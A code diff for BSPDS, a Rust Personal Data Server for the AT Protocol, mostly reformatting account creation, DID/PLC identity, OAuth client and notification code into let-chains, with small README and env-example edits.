···5353# Appview URL for proxying app.bsky.* requests
5454# APPVIEW_URL=https://api.bsky.app
5555# Comma-separated list of relay URLs to notify via requestCrawl
5656-# CRAWLERS=https://bsky.network
5656+# CRAWLERS=https://bsky.network,https://relay.upcloud.world
5757# =============================================================================
5858# Firehose (subscribeRepos WebSocket)
5959# =============================================================================
+25-10
README.md
···11# BSPDS
22-A production-grade Personal Data Server (PDS) for the AT Protocol. Drop-in replacement for Bluesky's reference PDS, using postgres and s3-compatible blob storage.
22+33+A production-grade Personal Data Server (PDS) for the AT Protocol. Drop-in replacement for Bluesky's reference PDS, written in rust with postgres and s3-compatible blob storage.
44+35## Features
66+47- Full AT Protocol support (`com.atproto.*` endpoints)
58- OAuth 2.1 provider (PKCE, DPoP, PAR)
69- WebSocket firehose (`subscribeRepos`)
710- Multi-channel notifications (email, discord, telegram, signal)
811- Built-in web UI for account management
912- Per-IP rate limiting
1313+1014## Quick Start
1515+1116```bash
1217cp .env.example .env
1318podman compose up -d
1419just run
1520```
2121+1622## Configuration
2323+1724See `.env.example` for all configuration options.
2525+1826## Development
2727+1928Run `just` to see available commands.
2929+2030```bash
2121-just test # run tests
2222-just lint # clippy + fmt
3131+just test
3232+just lint
2333```
3434+2435## Production Deployment
3636+2537### Quick Deploy (Docker/Podman Compose)
3838+3939+Edit `.env.prod` with your values. Generate secrets with `openssl rand -base64 48`.
4040+2641```bash
2742cp .env.prod.example .env.prod
2828-# Edit .env.prod with your values (generate secrets with: openssl rand -base64 48)
2943podman-compose -f docker-compose.prod.yml up -d
3044```
3131-### Full Installation Guides
4545+4646+### Installation Guides
4747+3248| Guide | Best For |
3349|-------|----------|
3434-| **Native Installation** | Maximum performance, full control |
3550| [Debian](docs/install-debian.md) | Debian 13+ with systemd |
3651| [Alpine](docs/install-alpine.md) | Alpine 3.23+ with OpenRC |
3752| [OpenBSD](docs/install-openbsd.md) | OpenBSD 7.8+ with rc.d |
3838-| **Containerized** | Easier updates, isolation |
3939-| [Containers](docs/install-containers.md) | Podman with quadlets (Debian) or OpenRC (Alpine) |
4040-| **Orchestrated** | High availability, auto-scaling |
4141-| [Kubernetes](docs/install-kubernetes.md) | Multi-node k8s cluster deployment |
5353+| [Containers](docs/install-containers.md) | Podman with quadlets or OpenRC |
5454+| [Kubernetes](docs/install-kubernetes.md) | You know what you're doing |
5555+4256## License
5757+4358TBD
+1-1
docs/install-kubernetes.md
···77- s3-compatible object storage (minio operator, or just use a managed service)
88- the app itself (it's just a container with some env vars)
991010-You'll need a wildcard TLS certificate for `*.your-pds-hostname.example.com` — user handles are served as subdomains.
1010+You'll need a wildcard TLS certificate for `*.your-pds-hostname.example.com`. User handles are served as subdomains.
11111212The container image expects:
1313- `DATABASE_URL` - postgres connection string
···11use super::did::verify_did_web;
22-use crate::plc::{create_genesis_operation, signing_key_to_did_key, PlcClient};
22+use crate::plc::{PlcClient, create_genesis_operation, signing_key_to_did_key};
33use crate::state::{AppState, RateLimitKind};
44use axum::{
55 Json,
···1010use bcrypt::{DEFAULT_COST, hash};
1111use jacquard::types::{did::Did, integer::LimitedU32, string::Tid};
1212use jacquard_repo::{commit::Commit, mst::Mst, storage::BlockStore};
1313-use k256::{ecdsa::SigningKey, SecretKey};
1313+use k256::{SecretKey, ecdsa::SigningKey};
1414use rand::rngs::OsRng;
1515use serde::{Deserialize, Serialize};
1616use serde_json::json;
···1818use tracing::{error, info, warn};
19192020fn extract_client_ip(headers: &HeaderMap) -> String {
2121- if let Some(forwarded) = headers.get("x-forwarded-for") {
2222- if let Ok(value) = forwarded.to_str() {
2323- if let Some(first_ip) = value.split(',').next() {
2121+ if let Some(forwarded) = headers.get("x-forwarded-for")
2222+ && let Ok(value) = forwarded.to_str()
2323+ && let Some(first_ip) = value.split(',').next() {
2424 return first_ip.trim().to_string();
2525 }
2626- }
2727- }
2828- if let Some(real_ip) = headers.get("x-real-ip") {
2929- if let Ok(value) = real_ip.to_str() {
2626+ if let Some(real_ip) = headers.get("x-real-ip")
2727+ && let Ok(value) = real_ip.to_str() {
3028 return value.trim().to_string();
3129 }
3232- }
3330 "unknown".to_string()
3431}
3532···6461) -> Response {
6562 info!("create_account called");
6663 let client_ip = extract_client_ip(&headers);
6767- if !state.check_rate_limit(RateLimitKind::AccountCreation, &client_ip).await {
6464+ if !state
6565+ .check_rate_limit(RateLimitKind::AccountCreation, &client_ip)
6666+ .await
6767+ {
6868 warn!(ip = %client_ip, "Account creation rate limit exceeded");
6969 return (
7070 StatusCode::TOO_MANY_REQUESTS,
···8484 )
8585 .into_response();
8686 }
8787- let email: Option<String> = input.email.as_ref()
8787+ let email: Option<String> = input
8888+ .email
8989+ .as_ref()
8890 .map(|e| e.trim().to_string())
8991 .filter(|e| !e.is_empty());
9090- if let Some(ref email) = email {
9191- if !crate::api::validation::is_valid_email(email) {
9292+ if let Some(ref email) = email
9393+ && !crate::api::validation::is_valid_email(email) {
9294 return (
9395 StatusCode::BAD_REQUEST,
9496 Json(json!({"error": "InvalidEmail", "message": "Invalid email format"})),
9597 )
9698 .into_response();
9799 }
9898- }
99100 let verification_channel = input.verification_channel.as_deref().unwrap_or("email");
100101 let valid_channels = ["email", "discord", "telegram", "signal"];
101102 if !valid_channels.contains(&verification_channel) {
···220221 }
221222 };
222223 let plc_client = PlcClient::new(None);
223223- if let Err(e) = plc_client.send_operation(&genesis_result.did, &genesis_result.signed_operation).await {
224224+ if let Err(e) = plc_client
225225+ .send_operation(&genesis_result.did, &genesis_result.signed_operation)
226226+ .await
227227+ {
224228 error!("Failed to submit PLC genesis operation: {:?}", e);
225229 return (
226230 StatusCode::BAD_GATEWAY,
···269273 }
270274 };
271275 let plc_client = PlcClient::new(None);
272272- if let Err(e) = plc_client.send_operation(&genesis_result.did, &genesis_result.signed_operation).await {
276276+ if let Err(e) = plc_client
277277+ .send_operation(&genesis_result.did, &genesis_result.signed_operation)
278278+ .await
279279+ {
273280 error!("Failed to submit PLC genesis operation: {:?}", e);
274281 return (
275282 StatusCode::BAD_GATEWAY,
···316323 Ok(None) => {}
317324 }
318325 if let Some(code) = &input.invite_code {
319319- let invite_query =
320320- sqlx::query!("SELECT available_uses FROM invite_codes WHERE code = $1 FOR UPDATE", code)
321321- .fetch_optional(&mut *tx)
322322- .await;
326326+ let invite_query = sqlx::query!(
327327+ "SELECT available_uses FROM invite_codes WHERE code = $1 FOR UPDATE",
328328+ code
329329+ )
330330+ .fetch_optional(&mut *tx)
331331+ .await;
323332 match invite_query {
324333 Ok(Some(row)) => {
325334 if row.available_uses <= 0 {
···378387 discord_id, telegram_username, signal_number
379388 ) VALUES ($1, $2, $3, $4, $5, $6, $7::notification_channel, $8, $9, $10) RETURNING id"#,
380389 )
381381- .bind(short_handle)
382382- .bind(&email)
383383- .bind(&did)
384384- .bind(&password_hash)
385385- .bind(&verification_code)
386386- .bind(&code_expires_at)
387387- .bind(verification_channel)
388388- .bind(input.discord_id.as_deref().map(|s| s.trim()).filter(|s| !s.is_empty()))
389389- .bind(input.telegram_username.as_deref().map(|s| s.trim()).filter(|s| !s.is_empty()))
390390- .bind(input.signal_number.as_deref().map(|s| s.trim()).filter(|s| !s.is_empty()))
391391- .fetch_one(&mut *tx)
392392- .await;
390390+ .bind(short_handle)
391391+ .bind(&email)
392392+ .bind(&did)
393393+ .bind(&password_hash)
394394+ .bind(&verification_code)
395395+ .bind(code_expires_at)
396396+ .bind(verification_channel)
397397+ .bind(
398398+ input
399399+ .discord_id
400400+ .as_deref()
401401+ .map(|s| s.trim())
402402+ .filter(|s| !s.is_empty()),
403403+ )
404404+ .bind(
405405+ input
406406+ .telegram_username
407407+ .as_deref()
408408+ .map(|s| s.trim())
409409+ .filter(|s| !s.is_empty()),
410410+ )
411411+ .bind(
412412+ input
413413+ .signal_number
414414+ .as_deref()
415415+ .map(|s| s.trim())
416416+ .filter(|s| !s.is_empty()),
417417+ )
418418+ .fetch_one(&mut *tx)
419419+ .await;
393420 let user_id = match user_insert {
394421 Ok((id,)) => id,
395422 Err(e) => {
396396- if let Some(db_err) = e.as_database_error() {
397397- if db_err.code().as_deref() == Some("23505") {
423423+ if let Some(db_err) = e.as_database_error()
424424+ && db_err.code().as_deref() == Some("23505") {
398425 let constraint = db_err.constraint().unwrap_or("");
399426 if constraint.contains("handle") || constraint.contains("users_handle") {
400427 return (
···425452 .into_response();
426453 }
427454 }
428428- }
429455 error!("Error inserting user: {:?}", e);
430456 return (
431457 StatusCode::INTERNAL_SERVER_ERROR,
···535561 }
536562 };
537563 let commit_cid_str = commit_cid.to_string();
538538- let repo_insert = sqlx::query!("INSERT INTO repos (user_id, repo_root_cid) VALUES ($1, $2)", user_id, commit_cid_str)
539539- .execute(&mut *tx)
540540- .await;
564564+ let repo_insert = sqlx::query!(
565565+ "INSERT INTO repos (user_id, repo_root_cid) VALUES ($1, $2)",
566566+ user_id,
567567+ commit_cid_str
568568+ )
569569+ .execute(&mut *tx)
570570+ .await;
541571 if let Err(e) = repo_insert {
542572 error!("Error initializing repo: {:?}", e);
543573 return (
···547577 .into_response();
548578 }
549579 if let Some(code) = &input.invite_code {
550550- let use_insert =
551551- sqlx::query!("INSERT INTO invite_code_uses (code, used_by_user) VALUES ($1, $2)", code, user_id)
552552- .execute(&mut *tx)
553553- .await;
580580+ let use_insert = sqlx::query!(
581581+ "INSERT INTO invite_code_uses (code, used_by_user) VALUES ($1, $2)",
582582+ code,
583583+ user_id
584584+ )
585585+ .execute(&mut *tx)
586586+ .await;
554587 if let Err(e) = use_insert {
555588 error!("Error recording invite usage: {:?}", e);
556589 return (
···568601 )
569602 .into_response();
570603 }
571571- if let Err(e) = crate::api::repo::record::sequence_identity_event(&state, &did, Some(&full_handle)).await {
604604+ if let Err(e) =
605605+ crate::api::repo::record::sequence_identity_event(&state, &did, Some(&full_handle)).await
606606+ {
572607 warn!("Failed to sequence identity event for {}: {}", did, e);
573608 }
574574- if let Err(e) = crate::api::repo::record::sequence_account_event(&state, &did, true, None).await {
609609+ if let Err(e) = crate::api::repo::record::sequence_account_event(&state, &did, true, None).await
610610+ {
575611 warn!("Failed to sequence account event for {}: {}", did, e);
576612 }
577613 let profile_record = json!({
···584620 "app.bsky.actor.profile",
585621 "self",
586622 &profile_record,
587587- ).await {
623623+ )
624624+ .await
625625+ {
588626 warn!("Failed to create default profile for {}: {}", did, e);
589627 }
590628 if let Err(e) = crate::notifications::enqueue_signup_verification(
···593631 verification_channel,
594632 &verification_recipient,
595633 &verification_code,
596596- ).await {
597597- warn!("Failed to enqueue signup verification notification: {:?}", e);
634634+ )
635635+ .await
636636+ {
637637+ warn!(
638638+ "Failed to enqueue signup verification notification: {:?}",
639639+ e
640640+ );
598641 }
599642 (
600643 StatusCode::OK,
+57-34
src/api/identity/did.rs
···4747 .await;
4848 match user {
4949 Ok(Some(row)) => {
5050- let _ = state.cache.set(&cache_key, &row.did, std::time::Duration::from_secs(300)).await;
5050+ let _ = state
5151+ .cache
5252+ .set(&cache_key, &row.did, std::time::Duration::from_secs(300))
5353+ .await;
5154 (StatusCode::OK, Json(json!({ "did": row.did }))).into_response()
5255 }
5356 Ok(None) => (
···127130 )
128131 .into_response();
129132 }
130130- let key_row = sqlx::query!("SELECT key_bytes, encryption_version FROM user_keys WHERE user_id = $1", user_id)
131131- .fetch_optional(&state.db)
132132- .await;
133133+ let key_row = sqlx::query!(
134134+ "SELECT key_bytes, encryption_version FROM user_keys WHERE user_id = $1",
135135+ user_id
136136+ )
137137+ .fetch_optional(&state.db)
138138+ .await;
133139 let key_bytes: Vec<u8> = match key_row {
134134- Ok(Some(row)) => {
135135- match crate::config::decrypt_key(&row.key_bytes, row.encryption_version) {
136136- Ok(k) => k,
137137- Err(_) => {
138138- return (
139139- StatusCode::INTERNAL_SERVER_ERROR,
140140- Json(json!({"error": "InternalError"})),
141141- )
142142- .into_response();
143143- }
140140+ Ok(Some(row)) => match crate::config::decrypt_key(&row.key_bytes, row.encryption_version) {
141141+ Ok(k) => k,
142142+ Err(_) => {
143143+ return (
144144+ StatusCode::INTERNAL_SERVER_ERROR,
145145+ Json(json!({"error": "InternalError"})),
146146+ )
147147+ .into_response();
144148 }
145145- }
149149+ },
146150 _ => {
147151 return (
148152 StatusCode::INTERNAL_SERVER_ERROR,
···283287 headers: axum::http::HeaderMap,
284288) -> Response {
285289 let token = match crate::auth::extract_bearer_token_from_header(
286286- headers.get("Authorization").and_then(|h| h.to_str().ok())
290290+ headers.get("Authorization").and_then(|h| h.to_str().ok()),
287291 ) {
288292 Some(t) => t,
289293 None => {
···298302 Ok(user) => user,
299303 Err(e) => return ApiError::from(e).into_response(),
300304 };
301301- let user = match sqlx::query!("SELECT handle FROM users u JOIN user_keys k ON u.id = k.user_id WHERE u.did = $1", auth_user.did)
302302- .fetch_optional(&state.db)
303303- .await
305305+ let user = match sqlx::query!(
306306+ "SELECT handle FROM users u JOIN user_keys k ON u.id = k.user_id WHERE u.did = $1",
307307+ auth_user.did
308308+ )
309309+ .fetch_optional(&state.db)
310310+ .await
304311 {
305312 Ok(Some(row)) => row,
306313 _ => return ApiError::InternalError.into_response(),
307314 };
308315 let key_bytes = match auth_user.key_bytes {
309316 Some(kb) => kb,
310310- None => return ApiError::AuthenticationFailedMsg("OAuth tokens cannot get DID credentials".into()).into_response(),
317317+ None => {
318318+ return ApiError::AuthenticationFailedMsg(
319319+ "OAuth tokens cannot get DID credentials".into(),
320320+ )
321321+ .into_response();
322322+ }
311323 };
312324 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
313325 let pds_endpoint = format!("https://{}", hostname);
···352364 Json(input): Json<UpdateHandleInput>,
353365) -> Response {
354366 let token = match crate::auth::extract_bearer_token_from_header(
355355- headers.get("Authorization").and_then(|h| h.to_str().ok())
367367+ headers.get("Authorization").and_then(|h| h.to_str().ok()),
356368 ) {
357369 Some(t) => t,
358370 None => return ApiError::AuthenticationRequired.into_response(),
···378390 {
379391 return (
380392 StatusCode::BAD_REQUEST,
381381- Json(json!({"error": "InvalidHandle", "message": "Handle contains invalid characters"})),
393393+ Json(
394394+ json!({"error": "InvalidHandle", "message": "Handle contains invalid characters"}),
395395+ ),
382396 )
383397 .into_response();
384398 }
···387401 .await
388402 .ok()
389403 .flatten();
390390- let existing = sqlx::query!("SELECT id FROM users WHERE handle = $1 AND id != $2", new_handle, user_id)
391391- .fetch_optional(&state.db)
392392- .await;
404404+ let existing = sqlx::query!(
405405+ "SELECT id FROM users WHERE handle = $1 AND id != $2",
406406+ new_handle,
407407+ user_id
408408+ )
409409+ .fetch_optional(&state.db)
410410+ .await;
393411 if let Ok(Some(_)) = existing {
394412 return (
395413 StatusCode::BAD_REQUEST,
···397415 )
398416 .into_response();
399417 }
400400- let result = sqlx::query!("UPDATE users SET handle = $1 WHERE id = $2", new_handle, user_id)
401401- .execute(&state.db)
402402- .await;
418418+ let result = sqlx::query!(
419419+ "UPDATE users SET handle = $1 WHERE id = $2",
420420+ new_handle,
421421+ user_id
422422+ )
423423+ .execute(&state.db)
424424+ .await;
403425 match result {
404426 Ok(_) => {
405427 if let Some(old) = old_handle {
406428 let _ = state.cache.delete(&format!("handle:{}", old)).await;
407429 }
408430 let _ = state.cache.delete(&format!("handle:{}", new_handle)).await;
409409- let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
431431+ let hostname =
432432+ std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
410433 let full_handle = format!("{}.{}", new_handle, hostname);
411411- if let Err(e) = crate::api::repo::record::sequence_identity_event(&state, &did, Some(&full_handle)).await {
434434+ if let Err(e) =
435435+ crate::api::repo::record::sequence_identity_event(&state, &did, Some(&full_handle))
436436+ .await
437437+ {
412438 warn!("Failed to sequence identity event for handle update: {}", e);
413439 }
414440 (StatusCode::OK, Json(json!({}))).into_response()
···424450 }
425451}
426452427427-pub async fn well_known_atproto_did(
428428- State(state): State<AppState>,
429429- headers: HeaderMap,
430430-) -> Response {
453453+pub async fn well_known_atproto_did(State(state): State<AppState>, headers: HeaderMap) -> Response {
431454 let host = match headers.get("host").and_then(|h| h.to_str().ok()) {
432455 Some(h) => h,
433456 None => return (StatusCode::BAD_REQUEST, "Missing host header").into_response(),
+2-2
src/api/identity/mod.rs
···4455pub use account::create_account;
66pub use did::{
77- get_recommended_did_credentials, resolve_handle, update_handle, user_did_doc, well_known_did,
88- well_known_atproto_did,
77+ get_recommended_did_credentials, resolve_handle, update_handle, user_did_doc,
88+ well_known_atproto_did, well_known_did,
99};
1010pub use plc::{request_plc_operation_signature, sign_plc_operation, submit_plc_operation};
+2-2
src/api/identity/plc/mod.rs
···33mod submit;
4455pub use request::request_plc_operation_signature;
66-pub use sign::{sign_plc_operation, ServiceInput, SignPlcOperationInput, SignPlcOperationOutput};
77-pub use submit::{submit_plc_operation, SubmitPlcOperationInput};
66+pub use sign::{ServiceInput, SignPlcOperationInput, SignPlcOperationOutput, sign_plc_operation};
77+pub use submit::{SubmitPlcOperationInput, submit_plc_operation};
···11use crate::api::ApiError;
22-use crate::circuit_breaker::{with_circuit_breaker, CircuitBreakerError};
22+use crate::circuit_breaker::{CircuitBreakerError, with_circuit_breaker};
33use crate::plc::{
44- create_update_op, sign_operation, PlcClient, PlcError, PlcOpOrTombstone, PlcService,
44+ PlcClient, PlcError, PlcOpOrTombstone, PlcService, create_update_op, sign_operation,
55};
66use crate::state::AppState;
77use axum::{
88+ Json,
89 extract::State,
910 http::StatusCode,
1011 response::{IntoResponse, Response},
1111- Json,
1212};
1313use chrono::Utc;
1414use k256::ecdsa::SigningKey;
1515use serde::{Deserialize, Serialize};
1616-use serde_json::{json, Value};
1616+use serde_json::{Value, json};
1717use std::collections::HashMap;
1818use tracing::{error, info, warn};
1919···5959 Some(t) => t,
6060 None => {
6161 return ApiError::InvalidRequest(
6262- "Email confirmation token required to sign PLC operations".into()
6363- ).into_response();
6262+ "Email confirmation token required to sign PLC operations".into(),
6363+ )
6464+ .into_response();
6465 }
6566 };
6667 let user = match sqlx::query!("SELECT id FROM users WHERE did = $1", did)
···105106 }
106107 };
107108 if Utc::now() > token_row.expires_at {
108108- let _ = sqlx::query!("DELETE FROM plc_operation_tokens WHERE id = $1", token_row.id)
109109- .execute(&state.db)
110110- .await;
109109+ let _ = sqlx::query!(
110110+ "DELETE FROM plc_operation_tokens WHERE id = $1",
111111+ token_row.id
112112+ )
113113+ .execute(&state.db)
114114+ .await;
111115 return (
112116 StatusCode::BAD_REQUEST,
113117 Json(json!({
···158162 };
159163 let plc_client = PlcClient::new(None);
160164 let did_clone = did.clone();
161161- let result: Result<PlcOpOrTombstone, CircuitBreakerError<PlcError>> = with_circuit_breaker(
162162- &state.circuit_breakers.plc_directory,
163163- || async { plc_client.get_last_op(&did_clone).await },
164164- )
165165- .await;
165165+ let result: Result<PlcOpOrTombstone, CircuitBreakerError<PlcError>> =
166166+ with_circuit_breaker(&state.circuit_breakers.plc_directory, || async {
167167+ plc_client.get_last_op(&did_clone).await
168168+ })
169169+ .await;
166170 let last_op = match result {
167171 Ok(op) => op,
168172 Err(CircuitBreakerError::CircuitOpen(e)) => {
···259263 .into_response();
260264 }
261265 };
262262- let _ = sqlx::query!("DELETE FROM plc_operation_tokens WHERE id = $1", token_row.id)
263263- .execute(&state.db)
264264- .await;
266266+ let _ = sqlx::query!(
267267+ "DELETE FROM plc_operation_tokens WHERE id = $1",
268268+ token_row.id
269269+ )
270270+ .execute(&state.db)
271271+ .await;
265272 info!("Signed PLC operation for user {}", did);
266273 (
267274 StatusCode::OK,
+16-17
src/api/identity/plc/submit.rs
···11use crate::api::ApiError;
22-use crate::circuit_breaker::{with_circuit_breaker, CircuitBreakerError};
33-use crate::plc::{signing_key_to_did_key, validate_plc_operation, PlcClient, PlcError};
22+use crate::circuit_breaker::{CircuitBreakerError, with_circuit_breaker};
33+use crate::plc::{PlcClient, PlcError, signing_key_to_did_key, validate_plc_operation};
44use crate::state::AppState;
55use axum::{
66+ Json,
67 extract::State,
78 http::StatusCode,
89 response::{IntoResponse, Response},
99- Json,
1010};
1111use k256::ecdsa::SigningKey;
1212use serde::Deserialize;
1313-use serde_json::{json, Value};
1313+use serde_json::{Value, json};
1414use tracing::{error, info, warn};
15151616#[derive(Debug, Deserialize)]
···110110 .into_response();
111111 }
112112 }
113113- if let Some(services) = op.get("services").and_then(|v| v.as_object()) {
114114- if let Some(pds) = services.get("atproto_pds").and_then(|v| v.as_object()) {
113113+ if let Some(services) = op.get("services").and_then(|v| v.as_object())
114114+ && let Some(pds) = services.get("atproto_pds").and_then(|v| v.as_object()) {
115115 let service_type = pds.get("type").and_then(|v| v.as_str());
116116 let endpoint = pds.get("endpoint").and_then(|v| v.as_str());
117117 if service_type != Some("AtprotoPersonalDataServer") {
···135135 .into_response();
136136 }
137137 }
138138- }
139139- if let Some(verification_methods) = op.get("verificationMethods").and_then(|v| v.as_object()) {
140140- if let Some(atproto_key) = verification_methods.get("atproto").and_then(|v| v.as_str()) {
141141- if atproto_key != user_did_key {
138138+ if let Some(verification_methods) = op.get("verificationMethods").and_then(|v| v.as_object())
139139+ && let Some(atproto_key) = verification_methods.get("atproto").and_then(|v| v.as_str())
140140+ && atproto_key != user_did_key {
142141 return (
143142 StatusCode::BAD_REQUEST,
144143 Json(json!({
···148147 )
149148 .into_response();
150149 }
151151- }
152152- }
153150 if let Some(also_known_as) = op.get("alsoKnownAs").and_then(|v| v.as_array()) {
154151 let expected_handle = format!("at://{}", user.handle);
155152 let first_aka = also_known_as.first().and_then(|v| v.as_str());
···167164 let plc_client = PlcClient::new(None);
168165 let operation_clone = input.operation.clone();
169166 let did_clone = did.clone();
170170- let result: Result<(), CircuitBreakerError<PlcError>> = with_circuit_breaker(
171171- &state.circuit_breakers.plc_directory,
172172- || async { plc_client.send_operation(&did_clone, &operation_clone).await },
173173- )
174174- .await;
167167+ let result: Result<(), CircuitBreakerError<PlcError>> =
168168+ with_circuit_breaker(&state.circuit_breakers.plc_directory, || async {
169169+ plc_client
170170+ .send_operation(&did_clone, &operation_clone)
171171+ .await
172172+ })
173173+ .await;
175174 match result {
176175 Ok(()) => {}
177176 Err(CircuitBreakerError::CircuitOpen(e)) => {
+1-1
src/api/mod.rs
···1515pub mod validation;
16161717pub use error::ApiError;
1818-pub use proxy_client::{proxy_client, validate_at_uri, validate_did, validate_limit, AtUriParts};
1818+pub use proxy_client::{AtUriParts, proxy_client, validate_at_uri, validate_did, validate_limit};
···11#[allow(deprecated)]
22-use aes_gcm::{
33- Aes256Gcm, KeyInit, Nonce,
44- aead::Aead,
55-};
22+use aes_gcm::{Aes256Gcm, KeyInit, Nonce, aead::Aead};
63use base64::{Engine as _, engine::general_purpose::URL_SAFE_NO_PAD};
74use hkdf::Hkdf;
85use p256::ecdsa::SigningKey;
···6259 hasher.update(jwt_secret.as_bytes());
6360 let seed = hasher.finalize();
64616565- let signing_key = SigningKey::from_slice(&seed)
6666- .unwrap_or_else(|e| panic!("Failed to create signing key from seed: {}. This is a bug.", e));
6262+ let signing_key = SigningKey::from_slice(&seed).unwrap_or_else(|e| {
6363+ panic!(
6464+ "Failed to create signing key from seed: {}. This is a bug.",
6565+ e
6666+ )
6767+ });
67686869 let verifying_key = signing_key.verifying_key();
6970 let point = verifying_key.to_encoded_point(false);
70717172 let signing_key_x = URL_SAFE_NO_PAD.encode(
7272- point.x().expect("EC point missing X coordinate - this should never happen")
7373+ point
7474+ .x()
7575+ .expect("EC point missing X coordinate - this should never happen"),
7376 );
7477 let signing_key_y = URL_SAFE_NO_PAD.encode(
7575- point.y().expect("EC point missing Y coordinate - this should never happen")
7878+ point
7979+ .y()
8080+ .expect("EC point missing Y coordinate - this should never happen"),
7681 );
77827883 let mut kid_hasher = Sha256::new();
···114119 }
115120116121 pub fn get() -> &'static Self {
117117- CONFIG.get().expect("AuthConfig not initialized - call AuthConfig::init() first")
122122+ CONFIG
123123+ .get()
124124+ .expect("AuthConfig not initialized - call AuthConfig::init() first")
118125 }
119126120127 pub fn jwt_secret(&self) -> &str {
+7-5
src/crawlers.rs
···11use crate::circuit_breaker::CircuitBreaker;
22use crate::sync::firehose::SequencedEvent;
33use reqwest::Client;
44-use std::sync::atomic::{AtomicU64, Ordering};
54use std::sync::Arc;
55+use std::sync::atomic::{AtomicU64, Ordering};
66use std::time::Duration;
77use tokio::sync::{broadcast, watch};
88use tracing::{debug, error, info, warn};
···7878 return;
7979 }
80808181- if let Some(cb) = &self.circuit_breaker {
8282- if !cb.can_execute().await {
8181+ if let Some(cb) = &self.circuit_breaker
8282+ && !cb.can_execute().await {
8383 debug!("Skipping crawler notification due to circuit breaker open");
8484 return;
8585 }
8686- }
87868887 self.mark_notified();
8988 let circuit_breaker = self.circuit_breaker.clone();
90899190 for crawler_url in &self.crawler_urls {
9292- let url = format!("{}/xrpc/com.atproto.sync.requestCrawl", crawler_url.trim_end_matches('/'));
9191+ let url = format!(
9292+ "{}/xrpc/com.atproto.sync.requestCrawl",
9393+ crawler_url.trim_end_matches('/')
9494+ );
9395 let hostname = self.hostname.clone();
9496 let client = self.http_client.clone();
9597 let cb = circuit_breaker.clone();
···80808181 pub async fn run(self, mut shutdown: watch::Receiver<bool>) {
8282 if self.senders.is_empty() {
8383- warn!("Notification service starting with no senders configured. Notifications will be queued but not delivered until senders are configured.");
8383+ warn!(
8484+ "Notification service starting with no senders configured. Notifications will be queued but not delivered until senders are configured."
8585+ );
8486 }
8587 info!(
8688 poll_interval_secs = self.poll_interval.as_secs(),
···231233 }
232234}
233235234234-pub async fn enqueue_notification(db: &PgPool, notification: NewNotification) -> Result<Uuid, sqlx::Error> {
236236+pub async fn enqueue_notification(
237237+ db: &PgPool,
238238+ notification: NewNotification,
239239+) -> Result<Uuid, sqlx::Error> {
235240 sqlx::query_scalar!(
236241 r#"
237242 INSERT INTO notification_queue
+117-80
src/oauth/client.rs
···88888989 fn is_loopback_client(client_id: &str) -> bool {
9090 if let Ok(url) = reqwest::Url::parse(client_id) {
9191- url.scheme() == "http"
9292- && url.host_str() == Some("localhost")
9393- && url.port().is_none()
9191+ url.scheme() == "http" && url.host_str() == Some("localhost") && url.port().is_none()
9492 } else {
9593 false
9694 }
9795 }
98969997 fn build_loopback_metadata(client_id: &str) -> Result<ClientMetadata, OAuthError> {
100100- let url = reqwest::Url::parse(client_id).map_err(|_| {
101101- OAuthError::InvalidClient("Invalid loopback client_id URL".to_string())
102102- })?;
9898+ let url = reqwest::Url::parse(client_id)
9999+ .map_err(|_| OAuthError::InvalidClient("Invalid loopback client_id URL".to_string()))?;
103100 let mut redirect_uris = Vec::new();
104101 for (key, value) in url.query_pairs() {
105102 if key == "redirect_uri" {
···117114 client_uri: None,
118115 logo_uri: None,
119116 redirect_uris,
120120- grant_types: vec!["authorization_code".to_string(), "refresh_token".to_string()],
117117+ grant_types: vec![
118118+ "authorization_code".to_string(),
119119+ "refresh_token".to_string(),
120120+ ],
121121 response_types: vec!["code".to_string()],
122122 scope,
123123 token_endpoint_auth_method: Some("none".to_string()),
···134134 }
135135 {
136136 let cache = self.cache.read().await;
137137- if let Some(cached) = cache.get(client_id) {
138138- if cached.cached_at.elapsed().as_secs() < self.cache_ttl_secs {
137137+ if let Some(cached) = cache.get(client_id)
138138+ && cached.cached_at.elapsed().as_secs() < self.cache_ttl_secs {
139139 return Ok(cached.metadata.clone());
140140 }
141141- }
142141 }
143142 let metadata = self.fetch_metadata(client_id).await?;
144143 {
···154153 Ok(metadata)
155154 }
156155157157- pub async fn get_jwks(&self, metadata: &ClientMetadata) -> Result<serde_json::Value, OAuthError> {
156156+ pub async fn get_jwks(
157157+ &self,
158158+ metadata: &ClientMetadata,
159159+ ) -> Result<serde_json::Value, OAuthError> {
158160 if let Some(jwks) = &metadata.jwks {
159161 return Ok(jwks.clone());
160162 }
···165167 })?;
166168 {
167169 let cache = self.jwks_cache.read().await;
168168- if let Some(cached) = cache.get(jwks_uri) {
169169- if cached.cached_at.elapsed().as_secs() < self.cache_ttl_secs {
170170+ if let Some(cached) = cache.get(jwks_uri)
171171+ && cached.cached_at.elapsed().as_secs() < self.cache_ttl_secs {
170172 return Ok(cached.jwks.clone());
171173 }
172172- }
173174 }
174175 let jwks = self.fetch_jwks(jwks_uri).await?;
175176 {
···186187 }
187188188189 async fn fetch_jwks(&self, jwks_uri: &str) -> Result<serde_json::Value, OAuthError> {
189189- if !jwks_uri.starts_with("https://") {
190190- if !jwks_uri.starts_with("http://")
191191- || (!jwks_uri.contains("localhost") && !jwks_uri.contains("127.0.0.1"))
190190+ if !jwks_uri.starts_with("https://")
191191+ && (!jwks_uri.starts_with("http://")
192192+ || (!jwks_uri.contains("localhost") && !jwks_uri.contains("127.0.0.1")))
192193 {
193194 return Err(OAuthError::InvalidClient(
194195 "jwks_uri must use https (except for localhost)".to_string(),
195196 ));
196197 }
197197- }
198198 let response = self
199199 .http_client
200200 .get(jwks_uri)
···242242 .header("Accept", "application/json")
243243 .send()
244244 .await
245245- .map_err(|e| OAuthError::InvalidClient(format!("Failed to fetch client metadata: {}", e)))?;
245245+ .map_err(|e| {
246246+ OAuthError::InvalidClient(format!("Failed to fetch client metadata: {}", e))
247247+ })?;
246248 if !response.status().is_success() {
247249 return Err(OAuthError::InvalidClient(format!(
248250 "Failed to fetch client metadata: HTTP {}",
249251 response.status()
250252 )));
251253 }
252252- let mut metadata: ClientMetadata = response
253253- .json()
254254- .await
255255- .map_err(|e| OAuthError::InvalidClient(format!("Invalid client metadata JSON: {}", e)))?;
254254+ let mut metadata: ClientMetadata = response.json().await.map_err(|e| {
255255+ OAuthError::InvalidClient(format!("Invalid client metadata JSON: {}", e))
256256+ })?;
